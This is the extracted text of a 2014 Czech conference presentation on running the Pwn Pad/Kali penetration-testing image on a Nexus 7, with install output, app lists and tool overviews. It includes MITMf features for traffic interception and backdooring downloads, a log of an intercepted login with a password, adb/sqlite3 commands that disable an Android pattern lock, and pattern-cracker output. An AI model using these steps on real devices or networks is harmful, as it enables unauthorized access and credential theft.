Nexus 7 Kali Linux

Network hacking

infinity
CTJB 2014

root@PwnPad:~# whoami

infinity

Kamil Vavra

twitter.com/vavkamil

[email protected]

github.com/vavkamil

sprvce st
Mendelova univerzita v
Brn

Presentation Transcript
xexexe

Presentation Transcript
Defensive

xexexe

Offensive

xerexexe

Evolution

Evolution

Evolution

Evolution

RFID ~ Mifare Classic

Instalace

https://www.pwnieexpress.com/community/

Pwn Phone 2014 (using Nexus 5)

Download Pwn Phone 2014 (for 16GB/32GB Nexus 5 phones)

Pwn Pad 2014 (using the Nexus 7 2013 tablet)

Download Pwn Pad 2014 (for 2013 edition Nexus 7 tablets)

Pwn Pad 2013 (using the Nexus 7 2012 tablet)

Download Pwn Pad 2013 (for 2012 edition Nexus 7 tablets)

Instalace
infinity@desktop:~$ tar xvf pwnpad-2013_image.tar.xz
infinity@desktop:~$ cd pwnie_img/
infinity@desktop:~/pwnie_img$ sudo chmod +x imagev2.sh
infinity@desktop:~/pwnie_img$ sudo adb start-server
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
infinity@desktop:~/pwnie_img$ sudo ./imagev2.sh
Fastboot Android utilities are required to flash the PwnPad image onto the Nexus7
android-tools-adb android-tools-fastboot

Would you like to automatically install the required tools? (Ubuntu 12.04 only)

1. Yes
2. No

Choice: 2
Not installing fastboot and adb tools

Instalace
Which Nexus 7 (2012 HW) would you like to install the
PwnPad onto?

1. 8GB

2. 16GB

3. 32GB Wifi

4. 32GB Wifi + GSM

Choice (1-4): 2

Instalace
=== Pwn Pad 2014 Installer ===
A Mobile Pentesting platform by PwnieExpress.com
------------------------------------------------------------------WARNING: THIS WILL WIPE ALL DATA ON THE DEVICE!
Pwnie Express is not responsible for data loss resulting from the
use of this installer. Backup critical data before continuing!
------------------------------------------------------------------Press ENTER to continue, CTRL+C to abort.
Boot the device into fastboot mode (hold power and volume down).
Attach the device via USB once in fastboot mode.
Press [Enter] key to continue...

Instalace
[+] Unlock the device
...
(bootloader) Bootloader is already unlocked
OKAY [ 0.020s]
finished. total time: 0.020s
[+] Flash the recovery partition with TWRP recovery image
sending 'recovery' (8106 KB)...
OKAY [ 8.655s]
writing 'recovery'...
OKAY [ 2.563s]
finished. total time: 11.218s

Instalace
[+] Erase the boot partition
erasing 'boot'...
OKAY [ 0.026s]
finished. total time: 0.026s
[+] Flash the boot partition with Pwn Pad boot image
sending 'boot' (4898 KB)...
OKAY [ 5.211s]
writing 'boot'...
OKAY [ 0.322s]
finished. total time: 5.533s

Instalace
[+] Erase and format system partition
******** Did you mean to fastboot format this partition?
erasing 'system'...
OKAY [ 0.307s]
finished. total time: 0.307s
erasing 'system'...
OKAY [ 0.107s]
formatting 'system' partition...
Creating filesystem with parameters:
Size: 681574400
Block size: 4096
Blocks per group: 32768
Inodes per group: 6944
Inode size: 256
Journal blocks: 2600
Label:
Blocks: 166400
Block groups: 6
Reserved block group size: 47
Created filesystem with 11/41664 inodes and 5415/166400 blocks
sending 'system' (12416 KB)...
writing 'system'...
OKAY [ 13.989s]
finished. total time: 14.097s

Instalace
[+] Erase & format the user data partition
******** Did you mean to fastboot format this partition?
erasing 'userdata'...
OKAY [ 11.318s]
finished. total time: 11.318s
erasing 'userdata'...
OKAY [ 2.311s]
formatting 'userdata' partition...
Creating filesystem with parameters:
Size: 14569963520
Block size: 4096
Blocks per group: 32768
Inodes per group: 8160
Inode size: 256
Journal blocks: 32768
Label:
Blocks: 3557120
Block groups: 109
Reserved block group size: 871
Created filesystem with 11/889440 inodes and 97309/3557120 blocks
sending 'userdata' (137563 KB)...
writing 'userdata'...
OKAY [158.601s]
finished. total time: 160.912s

Instalace
[+] Booting into TWRP Recovery
downloading 'boot.img'...
OKAY [ 8.645s]
booting...
OKAY [ 0.019s]
finished. total time: 8.664s
Current serial number of connected Nexus is: 015d49069c53fa09

Pushing TWRP backup to be restored to device...

Instalace
Rebooting recovery....
Restoring PwnPad image....Please wait for device to reboot.
DO NOT INTERUPT THE PROCESS ON THE DEVICE,
TWRP WILL DISPLAY RESTORE COMPLETE BUT
PROCESS WILL NOT BE FINISHED UNTIL IT REBOOTS
ON ITS OWN

Kismet

more_stuff

What's the WiFi Password ?

Phishing

Hacking

Vchoz prosted

Vchoz prosted

Vchoz prosted

Vchoz prosted

Vchoz prosted

Vchoz prosted

Alfa

Alfa2

Zvody ve zbrojen

Android - Privacy applications

Cryptonite ~ open-source file encryption

Android - Privacy applications

Orbot ~ Proxy with Tor

Android - Privacy applications

Orweb ~ Private Web Browser

Android - File Browsers

ES File Explorer ~ File Manager

Android - File Browsers

Root Browser ~ the ultimate file manager for rooted users

Android - Network Tools

Fing ~ Network Tools

Android - Network Tools

JuiceSSH ~ SSH Client

Android - RFID Tools

NFC TagInfo ~ NFC tags

Android - RFID Tools

NFC TagInfo by NXP ~

Android - RFID Tools

NFC Tag Cloner ~ Clone NFC tags!

Android - Wireless Tools

Wifi Analyzer ~ Wi-Fi channels around you

Android - Wireless Tools

Pry-Fi ~ Big Brother is Watching You

Android - Wireless Tools

Wifi Tracker ~

Android - Wireless Tools

Wifi Protector ~ Detects and protects from MITM

Android - Wireless Tools

WiFi Pass Recovery ~ all wireless passwords stored on

your device

Android - Wireless Tools

WiFinspect ~ security audit tool

Android - Other Tools

Hacker's Keyboard ~

Android - Other Tools

StickMount ~ Automatically mount and dismount USB

Bluetooth
[09/09/14 11:06:33] Scan started on 00:10:60:D1:85:76
[09/09/14 11:06:38],B8:5E:7B:9D:0D:CD,0x5a020c,Galaxy Note3
[09/09/14 11:06:45],B8:C6:8E:C2:2D:5D,0x5a0204,S5610
[09/09/14 11:06:59],BC:47:60:92:5A:46,0x5a0204,Manicka 1997
[09/09/14 11:07:04],00:1D:98:4C:86:DE,0x5a0204,Hanicka
[09/09/14 11:07:08],E0:A6:70:6E:C9:81,0x5a0204,Nokia 2730
classic
[09/09/14 11:07:13],A0:82:1F:5C:78:4B,0x5a020c,Mrs.Kejt
[09/09/14 11:07:53],34:C3:AC:91:AE:E2,0x5a0204,C3050
[09/09/14 11:08:05],30:69:4B:CD:BF:8E,0x7a020c,BlackBerry
9700
[09/09/14 11:08:12],A8:44:81:65:01:E2,0x520204,206

Bluetooth

BD Address:

B8:5E:7B:9D:0D:CD [mode 1, clkoffset 0x113c]

Device name: Galaxy Note3

Device class:

Manufacturer: Broadcom Corporation (15)

Phone, Smart phone (0x5a020c)

BD Address:

0C:A6:94:6B:0F:3A [mode 1, clkoffset 0x125e]

Device name: SONY:SRS-X3

Device class:

Audio/Video, Loudspeaker (0x240414)

BD Address:

78:6A:89:69:4B:7F [mode 1, clkoffset 0x368a]

Device name: HUAWEI Y300-0100

Device class:

Phone, Smart phone (0x58020c)

BD Address:

40:5F:BE:69:10:67 [mode 1, clkoffset 0x53eb]

Device name: BlackBerry 9700

Device class:

Manufacturer: Cambridge Silicon Radio (10)

Phone, Smart phone (0x7a020c)

MITMf

https://github.com/byt3bl33d3r/MITMf

Spoof - Redirect traffic using ARP Spoofing, DNS Spoofing or ICMP Redirects

BeEFAutorun - Autoruns BeEF modules based on clients OS or browser type

AppCachePoison - Perform app cache poison attacks

BrowserProfiler - Attempts to enumerate all browser plugins of connected

clients
FilePwn - Backdoor executables being sent over http using bdfactory
JavaPwn - Performs drive-by attacks on clients with out-of-date java browser
plugins

MITMf

package com.kalipwn.mitmf;

import android.os.Bundle;

import android.app.Activity;

import android.content.Intent;

public class MainActivity extends Activity

@Override

protected void onCreate (Bundle savedInstanceState)

super.onCreate(savedInstanceState);

Intent i = new Intent("jackpal.androidterm.RUN_SCRIPT");

i.addCategory(Intent.CATEGORY_DEFAULT);

i.putExtra("jackpal.androidterm.iInitialCommand", "su \rbootpwn \rcd /opt/pwnix/pwnpad-scripts/ \rsh /opt/pwnix/pwnpad-scripts/mitmf.sh");

startActivity(i);

finish();

MITMf

2014-09-01 07:29:55 192.168.43.5 Sending Request: GET www.seznam.cz

2014-09-01 07:29:55 192.168.43.5 Sending Request: GET www.seznam.cz

2014-09-01 07:29:55 192.168.43.5 Sending Request: GET www.seznam.cz

2014-09-01 07:29:56 192.168.43.5 Sending Request: GET h.imedia.cz

2014-09-01 07:30:20 192.168.43.5 SECURE POST Data (login.szn.cz):

loggedURL=http%3A%2F
%2Femail.seznam.cz&serviceId=email&forceSSL=1&username=teest1&domai
n=post.cz&password=heslo12345&js=1

2014-09-01 07:30:20 192.168.43.5 Sending Request: GET login.seznam.cz

2014-09-01 07:30:21 192.168.43.5 Sending Request: GET email.seznam.cz

Apps

Project Bionic Yourself (B10N1C)

Project Bionic Yourself (B10N1C) is a small implant for

your arm that makes you a bionic-superhero. The idea
comes from utilizing technology to give you a super ability
such as wireless control devices by moving a single finger,
sense electromagnetic fields, and even scan RFID keys
while all being stored inside your body. While these are a
few examples, the possibilities range much further. It's also
a user-integrated hacker tool that has the opportunity to
change life as we know it.

B10N1C

B10N1C

dangerousthings.com

dangerousthings.com

dangerousthings.com

Howto: Unlock Lock Pattern

adb shell

cd /data/data/com.android.providers.settings/databases

sqlite3 settings.db

update system set value=0 where

name='lock_pattern_autolock';
update system set value=0 where
name='lockscreen.lockedoutpermanently';
.quit

Secure USB Debugging Bypass

Android 4.4.2 Secure USB Debugging Bypass

A vulnerability found in Android 4.2.2-4.4.2 allowed
attackers to bypass Androids secure USB debugging, this
allowed attackers to access adb prior to unlocking the
device.
SoftwareAndroidAffected VersionsAndroid 4.2.2-4.4.2CVE
ReferenceAuthorsHenry Hoggard, MWR Labs
(https://labs.mwrinfosecurity.com)SeverityMediumVendorG
oogleVendor ResponseFixed in Android 4.4.3

sch3m4/androidpatternlock

################################

# Android Pattern Lock Cracker #

# ---------------------------- #

# Written by Chema Garcia

http://safetybits.net

[email protected]

################################

v0.1

@sch3m4

#
#

#
#

sch3m4/androidpatternlock

[+] Checking length 3

[+] Checking length 4

[+] Checking length 5

[+] Checking length 6

[+] Checking length 7

[+] Checking length 8

[+] Checking length 9

[:D] The pattern has been FOUND!!! => 210345876

sch3m4/androidpatternlock

[+] Gesture:

----- ----- -----

|3| |2| |1|

----- ----- -----

----- ----- -----

|4| |5| |6|

----- ----- -----

----- ----- -----

|9| |8| |7|

----- ----- -----

sch3m4/androidpatternlock

Really, the pattern lock is the SHA1 hash sequence of

digits (0-8) with length from 3 (4 since Android 2.3.3) to 8.
Since Android does not allows the pattern to repeat "balls"
and it does not use a salt when computing the SHA1 hash,
it really takes a very short period of time to crack the hash
and get the pattern.

zANTI

One-click audits under your thumb

zANTI is a comprehensive network diagnostics toolkit that
enables complex audits and penetration tests at the push
of a button. It provides cloud-based reporting that walks
you through simple guidelines to ensure network safety.

zANTI

RFID cooking

Github

https://github.com/vavkamil/Pwn-Pad-Arsenal-Too
ls